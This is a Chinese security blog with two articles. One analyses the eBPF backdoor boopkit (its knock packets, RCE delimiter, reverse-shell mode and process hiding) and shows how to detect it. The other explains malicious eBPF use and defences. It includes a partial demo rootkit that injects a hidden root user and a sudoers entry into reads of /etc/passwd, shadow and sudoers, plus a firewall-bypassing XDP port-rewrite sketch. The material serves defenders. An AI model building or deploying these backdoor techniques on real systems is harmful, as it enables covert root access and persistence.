新型eBPF后门boopkit的原理分析与演示 前言 在《聊一聊《Bvp47 美国NSA方程式的顶级后门》中的BPF隐藏信道》一文里,我们讨论了二十年前基于BPF技术后门的功能实现,技术原理等。也展望也在二十年后的今天,eBPF技术加持下,有更多可以被后门利用的技术点,可以造成更大的破坏力。 同时,在《Linux中基于eBPF的恶意利用与检测机制》介绍了eBPF的恶意利用,与防御相关的检测防御机制等。笔者对当下国内IDC对eBPF防御建设的不完善感到忧心,综合国外DefCon等安全峰会中的话题内容,预判未来一段时间,基于eBPF的后门会越来越多,越来越隐秘。 就在一个多月前,笔者看到了一款基于eBPF技术后门Boopkit,上传到https://github.com/kris-nova/boopkit,今天,就跟大家一起来了解一下它的技术原理。 boopkit介绍 boopkit是基于eBPF技术实现的Linux后门rootkit,利用任意开启的TCP端口服务,远程唤醒后门,生成反弹shell,具备远程命令执行等能力。 此项目是在2022年3月30日首次创建,至今1个多月,已经有近1000星,在Twitter上也有一定热度,持续传播中。 用户空间的加载器与内核态代码都是纯C编写。 部分脚本使用Makefile、shell等脚本语言。 作者 Kris Nóva 是一位女性安全工程师,经常在twitch上直播写代码,有兴趣的同学可以去围观。 功能 GitHub上Boopkit介绍: Remote code execution over TCP (SSH, Nginx, Kubernetes, etc) Network gateway bypass (bad checksums, TCP reset) Self obfuscation at runtime (eBPF process hiding) 很容易看出,这是后门工具,利用当前服务器开启的任意TCP端口作为通讯隧道,比如SSH、Nginx、Kubernetes等常用服务。利用eBPF技术,在HOOK tracepoint的tcp_bad_csum、tcp_receive_reset这两个TCP内核函数,作为敲门、传递信息的机制,进行通讯。并具备进程的自我隐藏等能力。 相比之前《聊一聊BVP47》的SYN窍门,有异曲同工之妙。但多了传送RCE shell等更多利用,当然,也是在高版本eBPF实现的功能。 安装测试 环境依赖 编译依赖 项目说明中,依赖如下: clang bpftool Required for libbpf xdp-tools Required for libxdp llvm pcap lib32-glibc 笔者环境是ubuntu 22.04的Desktop,内核版本是 5.15的。理论上其他低点的版本有可以运行。 笔者的clang、llvm都是12,bpftool在项目编译时不需要,但需要安装libbpf-dev这个开发包,依赖头文件。在ubuntu 22.04上,libbpf-dev是0.5.0的版本,版本太低,可以下载libbpf-0.6.1版本,安装使用。 xdp-tools、pcap也都是需要开发的头文件,记得安装devel版本的类库。 lib32-glibc包是ArchLinux发行版上的包名字,在其他Linux发行版上一般叫glibc,对应开发库libc6-dev-i386等。 内核依赖 内核版本上项目没说明,理论5.x都行,4.x请自测。但配置上,需要启用tcp_bad_csum、tcp_receive_reset两个函数的tracepoint。可以检查/sys/kernel/debug/tracing/events/tcp目录下是否有这两个目录。 运行依赖 客户端在启动后,需要监听端口,等待后门的反弹shell链接过来。使用的是ncat程序,需要提前安装好。ubuntu上命令sudo apt install ncat。 命令参数 Boopkit后门分为两部分: 服务端:程序名boopkit,运行在被入侵的服务器上。 客户端:程序名boopkit-boop,黑客使用的控制端。 服务端 程序名是boopkit,编译好后,会把ebpf的字节码文件写入到/root/.boopkit/目录下,有三个文件: pr0be.boop.o pr0be.safe.o pr0be.xdp.o pr0be.boop.o用于TCP的网络HOOK,实现敲门以及网络RCE接收。 pr0be.safe.o用于后门进程的自我保护,启动后,在进程列表中隐藏自己。 pr0be.xdp.o截止至2022-05-06,还是空的,没有逻辑。从作者直播中提到,应该是打算用于替换掉libpcap方式的数据包拦截、解析,以及提取RCE,用于更好地隐藏自己。 该程序命令帮助如下: Boopkit. Linux rootkit and backdoor. Built using eBPF. Usage: boopkit [options] Options: -h, help Display help and usage for boopkit. -i, interface Interface name. lo, eth0, wlan0, etc -s, sudo-bypass Bypass sudo check. Breaks PID obfuscation. -r, reverse-conn Attempt a reverse RCE lookup if no payload found. -q, quiet Disable output. -x, reject Source addresses to reject triggers from. 参数说明 interface -i参数将用于libpcap的网络嗅探的目标网卡,用于提取RCE。若走eBPF XDP方式,则不需要指定网卡,都可以拿到,那么后门的适应性更强。只是作者还没实现。 sudo-bypass -s参数用于躲避sudo用户检测。 reverse-conn -r参数是配置参数,当前后门是否启用反弹shell模式。反弹shell模式交互好,但隐蔽性不好。该后门也提供了秘密执行的功能,下文会提到。 quiet -q参数是静默模式,不输出日志。 reject -x参数算是后门的扩展功能,用于黑名单IP的筛选,意义不大。 前面介绍了后门的参数功能,下面讲下后门对RCE执行的两种方式,以及对应代码实现。 直接执行 使用libpcap库读取网络通讯包,筛选出黑客的IP,读取TCP的payload信息,匹配特征字符串BOOPKIT_RCE_DELIMITER,读取RCE信息。再调用系统system函数执行。 #define BOOPKIT_RCE_DELIMITER "X*x.x*X" #define BOOPKIT_RCE_CMD_HALT "X*x.HALT.x*X" //boopkit.c xcap_found = xcaprce(saddrval, rce); if (xcap_found == 1) { exec(rce); bpf_map_delete_elem(fd, &jkey); ikey = jkey; continue; } // dpi.c // Search for (int i = 0; i < XCAP_BUFFER_SIZE; i++) { struct xcap_ip_packet *xpack; xpack = snap[i]; if (!xpack->captured) { continue; } char *xpack_saddr = inet_ntoa(xpack->iph->ip_src); char *ret = strstr(search, xpack_saddr); if (!ret) { continue; // Filter packets not from our IP address } // Begin DPI unsigned char *packet = xpack->packet; char *rce_sub; rce_sub = memmem(packet, xpack->header->caplen, BOOPKIT_RCE_DELIMITER, strlen(BOOPKIT_RCE_DELIMITER)); if (rce_sub != NULL) { boopprintf(" -> Found RCE xCap!\n"); int found; found = rce_filter(rce_sub, rce); // Flush the snapshot xcap_ring_buffer_free(snap); // Flush the main ring buffer xcap_ring_buffer_free(xcap_ring_buffer); xcap_ring_buffer_init(xcap_ring_buffer); if (found) { return 1; } else { boopprintf(" XX [FILTER FAILURE] No RCE in xCap!\n"); return 0; } } } 也可以通过RCE中包含特定字符串,来关停后门。 反弹shell 若后门启用反弹shell模式,则可以让这台boopkit的机器主动向黑客监听端口发起TCP链接。隐蔽性不如上面一种模式,但交互比较好,可以只需不停的读取黑客命令,并调用系统system函数执行。 retval = recvrce(saddrval, rce); if (retval == 0) { exec(rce); bpf_map_delete_elem(fd, &jkey); ikey = jkey; continue; } eBPF HOOK 后门一共hook了两类eBPF功能点,TCP与进程列表等几个运行时函数。 eBPF TCP HOOK pr0be.boop.c 内容比较简单,实现了tcp_bad_csum与tcp_receive_reset两个函数HOOK,功能逻辑也比较简单,就是读取TCP包的来源IP,并写入eBPF map,用于存放黑客认证IP。IP将在libpcap网络包读取部分使用。 SEC("tracepoint/tcp/tcp_bad_csum") SEC("tracepoint/tcp/tcp_receive_reset") pr0be.safe.c 代码稍微多了一点点,业务功能是实现了当前后门进程的PID隐藏,HOOK了多个函数点: SEC("tp/syscalls/sys_enter_getdents64") SEC("tp/syscalls/sys_exit_getdents64") SEC("tp/syscalls/sys_exit_getdents64") HOOK点之间,使用多张eBPF Map存储数据,一部分用于内核空间跟用户空间通讯,另外一部分用于多个HOOK点之间通讯。使用bpf_tail_call尾调用实现隐藏逻辑控制。 pr0be.xdp.c 该文件目前是空,前面也提到了,这个应该是作者用于替换libpcap实现网络数据读取的功能,等待实现。 客户端 程序名是boopkit-boop,功能是构造畸形或带RCE payload的TCP数据包,发送到服务端,触发服务端内核的tcp_bad_csum、tcp_receive_reset函数,对Boopkit后门敲门。 后门程序封装了一个SHELL脚本,启动控制boopkit-boop客户端端更方便。默认启用反弹shell模式,并使用ncat程序监听3545端口,等待被入侵服务器主动连接过来。 boopkit运行原理 Boop敲门Vectors Boopkit(服务端)会响应各种网络事件,boopkit-boop(客户端)工具内置了两种敲门机制。 其利用的TCP帧原理如下图: 无效的Checksum boopkit-boop客户端工具将通过SOCK_RAW Socket 向boopkit服务器发送一个带有空校验和的畸形 TCP SYN 数据包。不管这台服务器正在运行什么TCP服务,都会成功敲门,触发eBPF的TCP HOOK。在Linux服务器通吃。 ⚠️注意 个别硬件网卡将丢弃所有格式错误的校验和数据包,该工具失效! 发送ACK-RST包 boopkit-boop客户端工具将使用 SOCK_STREAM Socket针对目标的TCP服务(如SSH、Kubernetes、Nginx等)先正常完成TCP握手后,会关闭该TCP链接,以确保这个服务是正常启动的。 之后,再重复该过程,将重置数据包中的TCP RESET标志位,触发服务器上eBPF TCP HOOK。 视频演示 检测机制 行为 网络行为 网络抓包可以抓到敲门的包,但如果用XDP实现,是可以做到读取后,直接XDP_DROP掉,抓包就抓不到了。隐秘性更可怕。 从图中,可以看到,Checksum的值是0,且后面的TCP Segment已经被改成不合法的,无法解析的包。RCE也被放置在payload中。(两头加了BOOPKIT_RCE_DELIMITER标记) 端口监听 后门不监听端口,隐藏进程,普通工具查不出来。 进程 RCE执行时,会有记录,但进程的父ID查不出来。 top命令却能直接看到,也能直接kill掉,隐藏的不够好。 基于eBPF的特征 事中 GitHub上,笔者开源了一个基于eBPF实现的HIDS入侵检测系统ehids-agent DEMO,具备基本的BPF Call调用检测,可以来测试一下能否发现。 为了减少干扰信息,笔者这里只开启了eHIDS的bpf call monitor模块。 cfc4n@vm-desktop:~/project/ehids-agent$ sudo ./bin/ehids-agent [sudo] password for cfc4n: 2022/05/07 00:21:53 https://github.com/ehids/ehids-agent 2022/05/07 00:21:53 process pid: 69409 2022/05/07 00:21:53 start to run EBPFProbeBPFCall module 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:1, Cmd:BPF_PROG_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 2022/05/07 00:21:59 probeName:EBPFProbeBPFCall, probeTpye:tracepoint, BPFCALL EVENT CPU:0, Cmd:BPF_BTF_LOAD, PID:69416, UID:0, Comm:boopkit, cmdline:./boopkit -i ens33, utsName:vm-desktop 可以看到,能精准地监控到调用的BPF指令,进程ID,进程名,命令行参数等。 事后 该后门,在进程PID隐藏上做了实现,但在bpf的行为特征上,目前还没有实现。可以用bpftool等常规工具来检查它。 prog root@vm-desktop:~# bpftool prog show 216: tracepoint name handle_getdents tag d5fabe9da09eec5e gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 144B jited 93B memlock 4096B map_ids 135,129 btf_id 180 218: tracepoint name handle_getdents tag d197d702eb020291 gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 1216B jited 841B memlock 4096B map_ids 129,130,135,132,131 btf_id 180 219: tracepoint name handle_getdents tag e938383ee7761b31 gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 544B jited 310B memlock 4096B map_ids 132,133,135 btf_id 180 222: tracepoint name tcp_bad_csum tag 82cc666e25685b71 gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 744B jited 404B memlock 4096B map_ids 138 btf_id 181 223: tracepoint name tcp_receive_res tag c25930e6076718fc gpl loaded_at 2022-05-07T00:25:16+0800 uid 0 xlated 416B jited 227B memlock 4096B map_ids 138 btf_id 181 map 如上,一样的方法。 root@vm-desktop:~# bpftool map show 129: hash name map_buffs flags 0x0 key 8B value 8B max_entries 8192 memlock 131072B btf_id 180 130: hash name map_bytes_read flags 0x0 key 8B value 4B max_entries 8192 memlock 131072B btf_id 180 131: prog_array name map_prog_array flags 0x0 key 4B value 4B max_entries 5 memlock 4096B owner_prog_type tracepoint owner jited btf_id 180 132: hash name map_to_patch flags 0x0 key 8B value 8B max_entries 8192 memlock 131072B btf_id 180 133: ringbuf name rb flags 0x0 key 0B value 0B max_entries 8192 memlock 0B 135: array name pr0be_sa.rodata flags 0x480 key 4B value 24B max_entries 1 memlock 4096B btf_id 180 frozen 136: array name pr0be_sa.bss flags 0x400 key 4B value 20B max_entries 1 memlock 4096B btf_id 180 138: hash name event flags 0x0 key 4B value 32B max_entries 8192 memlock 327680B btf_id 181 139: array name pr0be.bss flags 0x400 key 4B value 20B max_entries 1 memlock 4096B btf_id 181 检测防御 可参考 《Linux中基于eBPF的恶意利用与检测机制》一文。 结束语 当前后门发往外部的TCP通讯是可监控,对网络捕获的实现是libpcap库,特征比较明显,而这个程序作者不停改进中。业界中,有人分享过更隐秘的技术方式,比如在内核态,复用业务的网络包,更改内容发数据包给黑客。躲避了用户态的检查。 这后门虽然不完美,但这只是GitHub开源社区的现状,相信在黑市里,早有隐秘性笔者高很多的后门在使用。笔者再次呼吁,务必加快对eBPF恶意利用的防御检测体系建设。 微信公众号 回复boopkit获取该文章链接。 2022-05-09 4 0
Linux中基于eBPF的恶意利用与检测机制 首发 本文首发与【美团安全应急响应中心】微信公众号。 前言 近几年来,云原生领域飞速发展,k8s成为公认的云操作系统。容器的高频率部署、短暂的生命周期、复杂的网络路由,都给内核带来了新的挑战。 系统内核在面对复杂性不断增长,性能、可扩展性新需求的同时,还需要保障系统稳定可用,这是极其困难的事情。 eBPF出现,以较小的子系统改动,保障了系统内核的稳定。具备实时动态加载的特性,将业务逻辑加载到内核,实现热更新的动态执行。 eBPF技术的出现,衍生新业务场景的同时,也带来了安全威胁。 现状分析 在解决很多技术难题的同时,eBPF技术的出现也带来了新的恶意利用,从一些海外资料和国内资料中可以看到,目前关于eBPF技术恶意利用的现状如下所示: 海外资料 Black Hat 在Black Hat 2021的峰会中,Datadog工程师Guillaume Fournier分享了《With Friends Like eBPF, Who Needs Enemies?》 介绍了eBPF的恶意利用,如何构建一个rootkit,入侵者会如何利用。 并把代码放在https://github.com/Gui774ume/ebpfkit 上,包括检测防御代码。 DEFCON 在DEF CON29峰会上,安全研究员Pat Hogan也分享了一篇关于eBPF的恶意利用案例:《Warping Reality - creating and countering the next generation of Linux rootkits using eBPF》 ,介绍了eBFP rootkit的应用场景,包括网络、运行时等,以及如何检测eBPF的恶意利用等。代码在https://github.com/pathtofile/bad-bpf 。 国内资料 国内在eBPF恶意利用的资料较少,相关技术分享也少,它的危害没有得到国内同行的注意,势必影响到国内公司在网络安全防御体系的建设,导致落后于国外,给企业安全甚至国家安全带来较大风险。 笔者作为防御体系建设方,有责任带领大家更好的认识这种恶意利用,分享检测防御经验,加固网络安全产品,为国内信息安全建设贡献一份力。 eBPF技术恶意利用的攻击原理 知己知彼才能百战不殆,要想做好防御,必须要了解他的攻击原理,我们一起来看下他的rootkit是如何设计的,功能有哪些? 从eBPF的功能来看,提供了 网络 监控 观测 跟踪&性能分析 安全 等几个领域功能。 在网络领域,Cilium等云原生公司做了很多网络层的产品,在实现网格管理的同时,也做了响应的网络层面安全策略,尤其是网络编排领域,表现尤为亮眼,逐步代替iptables等产品,大有一统江山的趋势。 在监控、观测等领域也有很多产品。尤其是运行时安全领域,Datadog 、Falco、Google等公司,都推出了相应的产品。笔者在博客上也有过相关产品源码分析的分享。 我们回顾一下eBPF技术的hook点: 从图中可以看出,eBPF的hook点功能包括以下几部分 可以在Storage、Network等与内核交互之前; 也可以在内核中的功能模块交互之间; 又可以在内核态与用户态交互之间; 更可以在用户态进程空间。 eBPF的功能覆盖XDP、TC、probe、socket等,每个功能点都能实现内核态的篡改行为,从而使得用户态完全致盲,哪怕是基于内核模块的HIDS,一样无法感知这些行为。 笔者基于eBPF的功能函数,从业务场景来看,网络、监控、观测类的功能促进了云原生领域的产品发展;跟踪/性能分析、安全类功能,加快了安全防御、审计类产品演进;而安全领域的恶意利用,也会成为黑客关注的方向。在这里,笔者与大家探讨一下新的威胁与防御思路, 从数据流所处阶段来看,笔者划分为两部分,接下来一起来讨论恶意利用、风险危害与防御思路。 Linux网络层恶意利用 Linux系统运行时恶意利用 网络层恶意利用 以一个SSH、WEB服务的服务器为例,在IDC常见网络访问策略中,开放公网web 80端口允许任意来源的IP访问。而SSH服务只允许特定IP,或者只开放内网端口访问。 假设这台服务器已经被黑客入侵,黑客需要留下一个后门,且需要一个隐藏、可靠的网络链路作为后门通道,那么在eBPF技术上,会如何实现呢? XDP/TC层修改TCP包 为了让后门隐藏的更好,最好是不开进程,不监听端口(当前部分我们只讨论网络层隐藏)。而eBPF技术在XDP、TC、socket等内核层的功能,能够实现流量信息修改,这些功能常被应用在L3、L4的网络负载均衡上。比如cilium的网络策略都是基于eBPF XDP实现。eBPF hook了XDP点后,更改了TCP包的目标IP,系统内核再将该数据包转发出去。 按照XDP与TC在Linux内核中,处理ingress与egress的位置,可以更准确地确定hook点。 XDP的BPF_PROG_TYPE_XDP程序类型,可以丢弃、修改、重传来自ingress的流量,但无法对egress起作用。 TC的BPF_PROG_TYPE_SCHED_CLS除了拥有XDP BPF_PROG_TYPE_XDP的功能外,还可以对egress起作用。 前者最常用的场景就是做网络防火墙,用于网络流量清洗,效率比传统防火墙的高很多。 后者常用于云原生场景下,容器、POD的网络监控、安全访问控制等。在这个例子中,要多进出流量都做调整,故两个hook点都需要有。 同样,在XDP等阶段的hook,在这里做相关包逻辑处理,能更好的将通讯包隐藏,tcpdump等工具都抓不到。 控制链路 在后门场景里,可以在同样的位置,像eBPF的负载均衡一样,修改目标端口,从web nginx 的80改为SSHD的22,就可以实现网络数据的透传,绕开防火墙以及网络访问限制。 认证密钥 由于后门rootkit是在XDP\TC层工作,为了尽可能的简单,认证密钥最好只使用链路层、网络层、传输层的数据,即MAC信息、IP五元组之类。IP经常变动,MAC地址大概率是唯一的,以及设定一个固定的端口,这样更加唯一,作为rootkit的认证密钥即可实现。(需要client发起连接时,指定客户端的TCP端口) eBPF uprobe与eBPF map联动 对于后门rootkit的密钥更新,利用eBPF也很好实现。比如,在nginx的场景中,uprobe实现hook http的函数,获取url参数中特定字符串,再将字符串保存到eBPF map里,就实现了密钥更新。 XDP/TC层的eBPF rootkit执行时,读取eBPF map里的密钥,进行比较运算。 实现流程 举个XDP处理ingress的例子 SEC("xdp/ingress") int xdp_ingress(struct xdp_md *ctx) { struct cursor c; struct pkt_ctx_t pkt; //判断是否为SSHD的协议,不是则直接放行 if (!(不是SSHD协议(&c))) { return XDP_PASS; } //判断rootkit是否匹配,网卡信息与来源端口是否匹配 hack_mac[] = "读取bpf map配置。" if(密钥不匹配) { return XDP_PASS; } // 读取map,是否已经存在该client信息 struct netinfo client_key = {}; __builtin_memcpy(&client_key.mac, &pkt.eth->h_source, ETH_ALEN); struct netinfo *client_value; client_value = bpf_map_lookup_elem(&ingress_client, &client_key); // 如果没找到伪装信息,则自己组装 if(!client_value) { __builtin_memset(&client_value, 0, sizeof(client_value)); } else { bpf_map_update_elem(&ingress_client, &client_key, &client_value, BPF_ANY); } // 伪装mac局域网mac信息 pkt.eth->h_source[0] = 0x00; ... // 替换伪装ip来源 ,客户端端口不变 // 更改目标端口 pkt.tcp->dest = htons(FACK_PORT); //22 //计算TCP SUM layer 4 ipv4_csum(pkt.tcp, sizeof(struct tcphdr), &csum); pkt.tcp->check = csum; //写入已伪装的map,用于TC处理egress的原mac、IP信息还原。 return XDP_PASS; } 比较简单的demo,即可实现 ingtrss侧TCP数据包的伪装。同样,TC层处理egress方向的数据包时,只需要对伪装包的原始信息作还原即可。整个流程如下图: 这样,rootkit的通讯链路并不影响正常用户访问,也没有对原系统做改动,隐蔽性特别好。 视频演示 笔者准备了三台主机测试: 入侵者:cnxct-mt2,IP为172.16.71.1。 普通用户:vm-ubuntu,IP为172.16.71.3。 被入侵服务器:vm-server,IP为172.16.71.4。开放nginx web 80端口;开放SSHD 22端口,并设定iptables规则只允许内网IP访问。 危害 这个rootkit不主动创建socket,借用其中一个网络发送包,把消息送达给后门使用者。 对系统影响来说,只是一个不起眼的小网络响应。 在万千HTTP包里,根本定位不到。 iptables防火墙绕过 :利用对外开放的80端口作为通讯隧道; webIDS绕过:流量到达服务器后,并不传递给nginx; NIDS绕过:入侵者流量在局域网之间流传并无异常,只是无法解密; HIDS绕过:是否信任了防火墙,忽略了本机/局域网来源的SSHD登录? linux系统运行时恶意利用 云原生生态下,涌现大批基于eBPF技术实现的集群网络管理插件,比如Calico、cilium等。而业务实现网络管理服务是以容器化方式部署,且有需要给这些容器启用SYS_BPF_ADMIN权限以支持eBPF系统调用。 这些服务的运行环境,也给攻击者留下一个完美的发挥空间。 实现流程 回顾eBPF的hook点,作用在syscall的kprobe、tracepoint事件类型,倘若用在后门rootkit场景,是十分可怕的。比如,修改内核态返回给用户态的数据,拦截阻断用户态行为等为所欲为。而更可怕的是,常见的HIDS都是基于内核态或者用户态做行为监控,这恰恰就绕开了大部分HIDS的监控,且不产生任何日志,简直细思极恐、不寒而栗。 tracepoint事件类型hook 在SSHD应用中,当用户登录时,会读取/etc/passwd等文件。用户态sshd程序,调用open、read等系统调用,让内核去硬件磁盘上检索数据,再返回数据给sshd进程。 用户态生成payload 用户态实现/etc/passwd、/etc/shadown等文件payload的生成,并通过eBPF的RewriteConstants机制,完成对elf .rodata的字段值替换。 import "github.com/ehids/ebpfmanager" // 通过elf的常量替换方式传递数据 func (e *MBPFContainerEscape) constantEditor() []manager.ConstantEditor { var username = RandString(9) var password = RandString(9) var s = RandString(8) salt := []byte(fmt.Sprintf("$6$%s", s)) // use salt to hash user-supplied password c := sha512_crypt.New() hash, err := c.Generate([]byte(password), salt) var m = map[string]interface{}{} res := make([]byte, PAYLOAD_LEN) var payload = fmt.Sprintf("%s ALL=(ALL:ALL) NOPASSWD:ALL #", username) copy(res, payload) m["payload"] = res m["payload_len"] = uint32(len(payload)) // 生成passwd字符串 var payload_passwd = fmt.Sprintf("%s:x:0:0:root:/root:/bin/bash\n", username) // 生成shadow字符串 var payload_shadow = fmt.Sprintf("%s:%s:18982:0:99999:7:::\n", username, hash) // eBPF RewriteContants var editor = []manager.ConstantEditor{ { Name: "payload", Value: m["payload"], FailOnMissing: true, }, { Name: "payload_len", Value: m["payload_len"], FailOnMissing: true, }, } return editor } func (this *MBPFContainerEscape) setupManagers() { this.bpfManager = &manager.Manager{ Probes: []*manager.Probe{ { Section: "tracepoint/syscalls/sys_enter_openat", EbpfFuncName: "handle_openat_enter", AttachToFuncName: "sys_enter_openat", }, ... }, Maps: []*manager.Map{ { Name: "events", }, }, } this.bpfManagerOptions = manager.Options{ ... // 填充 RewriteContants 对应map ConstantEditors: this.constantEditor(), } } 内核态使用payload const volatile int payload_len = 0; ... const volatile char payload_shadow[MAX_PAYLOAD_LEN]; SEC("tracepoint/syscalls/sys_exit_read") int handle_read_exit(struct trace_event_raw_sys_exit *ctx) { // 判断是否为rootkit行为,是否需要加载payload ... long int read_size = ctx->ret; // 判断原buff长度是否小于payload if (read_size < payload_len) { return 0; } // 判断文件类型,匹配追加相应payload switch (pbuff_addr->file_type) { case FILE_TYPE_PASSWD: // 覆盖payload到buf,不足部分使用原buff内容 { bpf_probe_read(&local_buff, MAX_PAYLOAD_LEN, (void*)buff_addr); for (unsigned int i = 0; i < MAX_PAYLOAD_LEN; i++) { if (i >= payload_passwd_len) { local_buff[i] = ' '; } else { local_buff[i] = payload_passwd[i]; } } } break; case FILE_TYPE_SHADOW: // 覆盖 shadow文件 ... break; case FILE_TYPE_SUDOERS: //覆盖sudoers ... break; default: return 0; break; } // 将payload内存写入到buffer ret = bpf_probe_write_user((void*)buff_addr, local_buff, MAX_PAYLOAD_LEN); // 发送事件到用户态 return 0; } 按照如上demo rootkit的设计,即完成了随机用户名密码的root账号添加。在鉴权认证上,也可以配合eBPF网络层恶意利用的demo,利用eBPF map交互,实现相应鉴权。 但rootkit本身并没有更改硬盘上文件,不产生风险行为。并且,只针对特定进程的做覆盖,隐蔽性更好。整个流程如下图: 不管是在物理机上,还是给了root+BPF权限的容器上,都一样生效。 视频演示 危害 云原生场景下,赋予SYS_ADMIN的权限的容器场景很多,若配合近期的JAVA log4j漏洞,直接击穿容器,拿到宿主机权限,是不是很可怕? 然而,比这可怕的是这种rootkit本身并没有产生用户态行为日志,也没有改文件,系统里查不到这个用户信息。整个后门行为不产生数据,让大部分HIDS失灵。 综述 从笔者演示的这两个场景可以来看,大家已经知道eBPF技术被恶意利用的危害。其实,这只是eBPF技术的冰山一角,在kproeb\uprobe上也有很多功能,比如实现进程隐藏,无痕内网扫描等等。相关恶意利用可参考Bad BPF - Warping reality using eBPF一文。 若入侵者精心设计rootkit,实现进程隐藏等,让rootkit更加隐蔽,按照本文的思路,实现一个幽灵般的后门,想想就让人后怕。 常规的主机安全防御产品一般用netlink linux kernel module等技术实现进程创建、网络通讯等行为感知,而eBPF的hook点可以比这些技术更加深,比他们执行更早,意味着常规HIDS并不能感知发现他们。 传统rootkit,采用hook api方法,替换原来函数,导致执行函数调用地址发生变化,已有成熟检测机制,eBPF hook不同于传统rootkit ,函数调用堆栈不变。这给检测带来很大的麻烦。 那面对这种后门,该如何检测防御呢? 检测防御 从事件发生的过程来看,分为三个阶段: 运行前 运行时 运行后 运行前 在恶意程序运行前,减少攻击面,这个思路是更古不变的。 环境限制 不管是宿主机还是容器,都进行权限收敛,能不赋予SYS_ADMIN、CAP_BPF等权限,就禁止掉。若一定要开放这个权限,那么只能放到运行时的检测环节了。 seccomp限制 在容器启动时,修改默认seccomp.json,禁止bpf系统调用,防止容器逃逸,注意此方法对于Privileged特权容器无效。 内核编译参数限制 修改函数返回值做运行时防护时,需要用到bpf_override_return,该函数需要内核开启CONFIG_BPF_KPROBE_PVERRIDE编译参数,因此非特殊情况不要开启该编译参数。 非特权用户指令 大部分eBPF程序类型都需要root权限的用户才能调用执行。但有几个例外,比如BPF_PROG_TYPE_SOCKET_FILTER和BPF_PROG_TYPE_CGROUP_SKB这两个类型,就不需要root。但需要读取系统配置开关。 //https://elixir.bootlin.com/linux/v5.16.9/source/kernel/bpf/syscall.c#L2240 if (type != BPF_PROG_TYPE_SOCKET_FILTER && type != BPF_PROG_TYPE_CGROUP_SKB && !bpf_capable()) return -EPERM; 开关确认 在/proc/sys/kernel/unprivileged_bpf_disabled里,可通过执行sysctl kernel.unprivileged_bpf_disabled=1来修改配置。配置含义见Documentation for /proc/sys/kernel/ 值为0表示允许非特权用户调用bpf 值为1表示禁止非特权用户调用bpf且该值不可再修改,只能重启后修改 值为2表示禁止非特权用户调用bpf,可以再次修改为0或1 特征检查 有人提议,在内核加载bpf字节码时,进行签名验证,以便达到只加载安全签名的bpf字节码。 lwn.net中也列出这个话题:BPF字节码签名计划 。 但很多人也提出 反对意见 ,认为bpf模块这几年的发展,过于抽象化,越来越复杂,不希望加入额外的功能,让bpf更加不稳定。而是改变思路,让字节码加载时签名,改为「执行bpf字节码加载的用户态程序进行签名」,这个是已有的内核功能,不会增加系统复杂性。 笔者认为,这确实可以缓解大部分bpf字节码加载的问题。但使用系统原生命令(tc\ip\bpftool等)加载的话,仍面临威胁。比如:ip link set dev ens33 xdp obj xdp-example_pass.o 运行检查 大部分eBPF程序在重启后不存在了,所以,入侵者会尽可能让后门自启动。对于linux系统的自启动、crontab等计划任务做好检查。 用户态程序可以以各种形式存在,ELF可执行文件、ELF so动态链接库都可以。在执行时,必定会调用BPF syscall来加载BPF 字节码。 若只是对可执行ELF做检测,还不够准确。 运行时 监控 linux系统中,所有的程序运行,都必须进行系统调用,eBPF程序也不例外。需要调用syscall为321的SYS_BPF指令。 并且,所有的eBPF程序执行、map创建都必须进行这个syscall调用。那么,在这个必经之路进行拦截监控,是最好的方案。 SEC("tracepoint/syscalls/sys_enter_bpf") int tracepoint_sys_enter_bpf(struct syscall_bpf_args *args) { struct bpf_context_t *bpf_context = make_event(); if (!bpf_context) return 0; bpf_context->cmd = args->cmd; get_common_proc(&bpf_context->procinfo); send_event(args, bpf_context); return 0; } 这里,我们开源的ehids项目做了一个bpf syscall检测的例子,大家可以fork了解。仓库见https://github.com/ehids/ehids-agent 当然,细心的读者会有疑问,假如入侵者的后门执行比较早,对这个系统调用进行欺骗,那怎么办呢? 这是个好问题,我们放到运行后的溯源章节讨论。但对于大部分场景,HIDS防御产品还是可以做到第一时间启动的。 审计&筛查 上面我们讨论了对bpf系统调用进行监控,在云原生场景中,基于eBPF实现的网络产品会频繁调用,会产生大量的事件日志,给运营同学带来较大压力。对行为做精简、做精确筛选就成为接下来的目标。 根据程序白名单筛选 数据过滤,是解决大量数据压力的方案。在一些BPF应用的业务服务器上,本身业务行为会产生大量调用,会给安全预警带来较大审计压力。对于已知的进程,可以根据进程特征过滤。 获取当前进程PID、COMM等特征,根据用户态写入eBPF map的配置,决定是否上报、是否拦截。 也可以在用户态做过滤,但内核态效率更高。如果是做拦截,那必须要在内核态实现。 参考saBPF产品设计思路 ,用eBPF实现LSM HOOK点的钩子程序,完成相关审计调用。https://github.com/saBPF-project/sabpf-kernel 项目代码还只是demo,思路可以借鉴。 